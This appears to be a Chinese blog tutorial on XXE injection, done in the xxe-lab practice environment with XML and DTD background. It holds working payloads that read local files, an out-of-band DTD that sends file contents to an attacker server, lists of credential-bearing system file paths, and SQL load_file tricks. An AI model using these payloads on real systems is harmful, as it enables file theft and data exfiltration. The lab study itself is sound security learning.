当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
【Web常见漏洞篇】XXE 回显或不回显漏洞
0x01 XXE 靶场环境搭建
靶机地址:https://github.com/c0ny1/xxe-lab
搭建平台:VM、windows10、phpstudy
0x02 XXE 产生的原理
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XXE漏洞触发的点往往是可以上传XML文件约位置,没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件。
0x03 啥是XXE?
XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题。要想搞懂XXE,肯定要先了解XML语法规则和外部实体的定义及调用形式。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML相关语法
XML 是一种可扩展标记语言,被设计用来传输和存储数据。XML 的基本格式如下:
xml文档的构建模块
- 元素
- 属性
- 实体
- PCDATA
- CDATA
XML语法规则如下:
1. 所有的XML元素都必须有一个关闭标签
2. XML标签对大小写敏感
3. XML必须正确嵌套
4. XML属性值必须加引号””
5. 实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是lt,>符号对应的实体就是gt)
6. 在XML中,空格会被保留(案例如:<p>a空格B</p>,这时候a和B之间的空格就会被保留)
<?xml version="1.0" encoding="UTF-8"?> // XML 声明
<!DOCTYPE copyright[ // DTD (文档类型定义)
<!ELEMENT note (to,reset,login)> // 定义元素
<!ENTITY test SYSTEM "URL"> // 定义外部实体test
]>
<to>
<reset> // 下面为文档元素
<login>&test;</login> // 调用test 实体(此步骤不可或缺)
<secret>login</secret>
</reset>
<to>
XML元素介绍
XML元素是指从(且包括)开始标签直到(且包括)结束标签的部分。
每个元素又有可以有对应的属性。XML属性必须加引号。
注意:
(1) XML文档必须有一个根元素
(2) XML元素都必须有一个关闭标签
(3) XML标签对大小写敏感
(4) XML元素必须被正确的嵌套
(5) XML属性值必须加引号
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>I love</to>
<from>
1、元素元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的
<title>my blog</title>
<writer>r1ght0us is best</writer>
2、属性
<img src="r1ght0us.gif" />
3、实体
实体是用来定义普通文本的变量。实体引用是对实体的引用
4、PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记
5、CDATA
CDATA 的意思是字符数据(character data)
CDATA 是不会被解析器解析的文本
XML DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
1 指的是DTD文档定义
2 指的是定义了根目录学生名册地下有学生子元素
3 指的是定义了学生元素中,还有三个子元素
4 指的是定义了姓名元素,后面的PCDATA代表,姓名元素里面的字符串内容不会被解析
5 指的是XML文件内容
1、内部声明:
完整实例:
<?xml version="1.0"?><!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2、外部声明(引用外部DTD):
<!DOCTYPE 根元素 SYSTEM "文件名">
ex:
<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
而note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD数据类型
- PCDATA的意思是被解析的字符数据/
- PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
- CDATA的意思是字符数据
- CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开
DTD实体
(实体定义)
实体是用于定义引用普通文本或者特殊字符的快捷方式的变量
在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1、一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
2、引用实体的方式:&实体名;
3、参数实体只能在DTD中使用,参数实体的声明格式:
<!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;
4、内部实体声明: ex:<!ENTITY eviltest "eviltest">
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "r1ght0us">
<!ENTITY BLOG "http://r1ght0us.xyz">
]>
<test>&writer;©right;</test>
5、外部实体声明:
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "https://github.com/r1ght0us">
<!ENTITY handsome SYSTEM "http://www.chenguanxin.com">
]>
<author>&writer;©right;</author>
6、关于XML的几个注意点:
-
所有的XML标记必须要闭合标签
-
所有的XML的标签对大小写敏感
-
XML的属性值必须要加引号
-
在XML中的五个符号需要实体引用
实体引用 |符号| 中文解释
< |<| 小于号
> |>| 大于号
& |&| 和号
&apos |'| 单引号
" |"| 双引号
0x04 如何判断存在XXE?
最简单的办法就是用burp抓包修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞
例如,如下截图,修改Content-Type 的值为text/xml; charset-UTF-8,从返回的数据包中,我们看到Web应用解析了XML 的内容,接受用户的输入或自定义的输入,然后有回显的的呈现到Web界面。
0x05 XXE漏洞复现
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
打开BurpSite 放到Repeater里
手工POC尝试一下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
<!ELEMENT username ANY >
<!ENTITY admin "Agan">
]>
<user><username>&admin;</username><password>admin</password></user>
PS:
直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析。这时候就分不清处哪个是真正的xml语句了,
可以利用file协议读取PHP文件,就会产生报错。那么需要base64编码来读取
语句:
<!ENTITY agan SYSTEM "PHP://filter/read=convert.base64-encode/resource=/var/www/agan.php">
1.1 有回显的情况下,有如下几种方式利用:
补充XXE回显时,可能会用到的敏感路径话题:
Windows 下敏感路径
Windows 下敏感路径:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
Linux/Uninx 下敏感路径
Linux/Uninx 下敏感路径:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
(1)直接将外部实体引用的URI设置为敏感目录
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
<!ELEMENT username ANY >
<!ENTITY admin SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&admin;</username><password>admin</password></user>
(2)将外部实体引用的URL设置到VPS(我们这里就因为是靶场的原因,也懒得设置VPS上,我就在本机上设置了到本地服务器上,本地构建恶意dtd 文件,远程注入)
虚拟机另起了一台机器,另起的主机IP:192.168.206.131
192.168.206.131(可以理解为是VPS的服务器)和192.168.206.146(受害者机器)可以互通
192.168.206.131(类似VPS)上搭建一个web访问环境,我这里用的phpstudy 搭建的,在网站目录下写个agan.dtd 文件,文件内容如下:
<!ENTITY admin SYSTEM "file:///c:/windows/win.ini">
此时,我们再次抓包,放到burpsuite的repeater 模块重放包试试
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE username [
<!ELEMENT username ANY >
<!ENTITY % aganxxe SYSTEM "http://192.168.206.131/agan.dtd" >
%aganxxe;]>
<user><username>&admin;</username><password>admin</password></user>
1.2 无回显的情况
首先我们编辑下源码,把报错和结果输出都禁止掉
真实环境中,我们还是需要一个VPS上面搭建一个服务器,用于接收数据,因为我们这里是本机搭建的靶场,就可有可无都行。
为什么需要一个VPS?
是因为,我们需要一个相当于转发器(客户端)转发内网地址到外网(服务端)
ngrok
ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。
反向代理在计算机网络中是代理服务器的一种。服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在。
看上面的介绍,我们已知道什么是ngrok呢?
我这里选用的是
Sunny-Ngrok 官网的ngrok
一条命令解决的外网访问内网问题,无需任何配置,下载客户端之后直接一条命令让外网访问您的内网不再是距离
注册
注册成功后,开通隧道-免费香港主机
如下几张图片,来自山丘安全攻防实验室文章的截图,我有点懒,懒得去截图
图片来源文章链接: https://blog.csdn.net/solitary_sen/article/details/99707618
选择http协议、隧道名称和前置域名填写自己购买的即可
然后点击隧道管理,需要记录的是隧道ID和赠送域名
客户端下载地址:https://www.ngrok.cc/download.html
根据你的操作系统选择对应的客户端。
输错的话看看,是什么样子?
再来看看,输入正确的
PS:
有时候也会出现报错的情况(这是我们在漏洞的代码中没有屏蔽错误和警告),比如我们这里的payload没有选用php的base64编码,这里报错了,但是同时也将所读取的内容爆了出来,只是特殊字符经过了HTML实体编码。
本地搭建tomcat服务器
下载tomcat、然后修改/conf/server.xml
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log." suffix=".txt"
pattern='%h %p %H %l %u %t "%r" params={%{post}r} %s %bbytes %Dms' />
修改你在创建ngrok时的端口(tomcat默认80)
port="8998" 是我自己修改的http端口
<Connector port="8998" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
启动tomcat。/bin/startup.bat
ngrok运行
运行 Sunny-Ngrok启动工具.bat
然后填入刚开始记录的隧道id,点击回车
访问你自己的域名,出现tomcat说明环境搭建好了
0x06 XXE不回显演示
不回显这里,我偷懒,直接截图了,哈哈!文章链接就是开头文章已附上山丘安全实验室文章地址
恶意DTD以及POC编写
第一步: 攻击者服务器建立08.dtd并放入tomcat \webapps\ROOT\中
POC:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.206.131/?%file;'>"
>
%all;
第二步: 攻击机中发送恶意XXE代码到攻击者服务器
POC:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.206.131/08.dtd">
%dtd;
%send;
]>
实现效果
攻击者服务器tomcat运行着08.dtd
抓包发送恶意XXE代码
攻击者服务器收到请求并将外带读取数据写入log文件
将带过来数据bash64解密
无回显时,可以使用外带数据通道提取数据,先使用 filter:///
获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。
实体 remote,all,send
的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml
引入到解释上下文中,然后执行 %all
,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发。
当然,还可以进行内网探测(xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测。可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。)和DDOS 攻击(通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。)
0x07 XXE 漏洞检测
最直接的办法就是,检测那些接收 xml 作为输入内容的节点。
但是很多时候,这些节点表面看来可能不是很明显,这个时候就需要借助 burp 抓包,通过修改不同的字段,如 http 请求方法、Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。
0x08 XXE 修复与防御
可以将 libxml
版本升级到 2.9.0
以后,因为 libxml 2.9.0
以后默认是不解析外部实体的;或者手动检查底层的 xml 解析库,设置为禁止解析外部实体。
0x09 总结
XXE 的利用方式非常广,危害也非常大。除了上文提到的文件读取,还可以进行拒绝服务攻击、命令执行、SQL(XSS) 注入、内网扫描端口、入侵内网站点等,非常值得深入学习。而文章中验证 XXE 的环境,vulhub 也包含了除 XXE 之外的很多其他漏洞验证环境,如 HeartBleed 心脏出血、JBoss 反序列化、Nginx 解析漏洞等,非常适合初学者进行实践操作。
参考链接:
http://www.runoob.com/xml/xml-tutorial.html
http://vulhub.org/#/environments/php_xxe/
https://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA
https://mp.weixin.qq.com/s/ftyWcLSqeW5Ekk81WkswmQ
https://blog.csdn.net/solitary_sen/article/details/99707618
虽然我们生活在阴沟里,但依然有人仰望星空!